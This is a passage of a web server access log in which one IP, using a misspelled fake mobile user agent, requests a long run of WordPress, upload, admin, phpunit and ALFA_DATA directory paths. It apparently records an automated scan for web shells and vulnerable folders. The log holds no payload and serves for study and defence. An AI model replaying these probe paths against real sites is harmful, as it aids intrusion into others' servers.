HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 41.251.167.122 - - [27/Apr/2025:13:05:47 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:05:50 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:05:54 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:05:57 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:00 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:04 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:07 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:10 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:14 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:17 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:19 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:20 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:22 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:27 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:29 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:34 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:36 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:38 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:40 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:43 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:45 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:48 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:51 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:53 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:54 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:06:56 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:00 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:02 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:05 -0400] "GET /uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:07 -0400] "GET /upload/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:10 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:13 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:16 -0400] "GET /admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:19 -0400] "GET /images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:21 -0400] "GET /assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:24 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:26 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:30 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:33 -0400] "GET /Public/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:35 -0400] "GET /vendor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:38 -0400] "GET /local/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:41 -0400] "GET /modules/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:43 -0400] "GET /Site/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:46 -0400] "GET /system/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:49 -0400] "GET /template/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:51 -0400] "GET /shop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:53 -0400] "GET /files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:57 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:07:59 -0400] "GET /include/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:01 -0400] "GET /Assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:04 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:06 -0400] "GET /plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:10 -0400] "GET /php/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:13 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:16 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:19 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:22 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:25 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:28 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:30 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:32 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:35 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:38 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:40 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:42 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:45 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:49 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:51 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:54 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:57 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:08:59 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:02 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:05 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:09 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:12 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:14 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:16 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:19 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:21 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:23 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:25 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:27 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:29 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:31 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:33 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:36 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:38 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:41 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:43 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:46 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 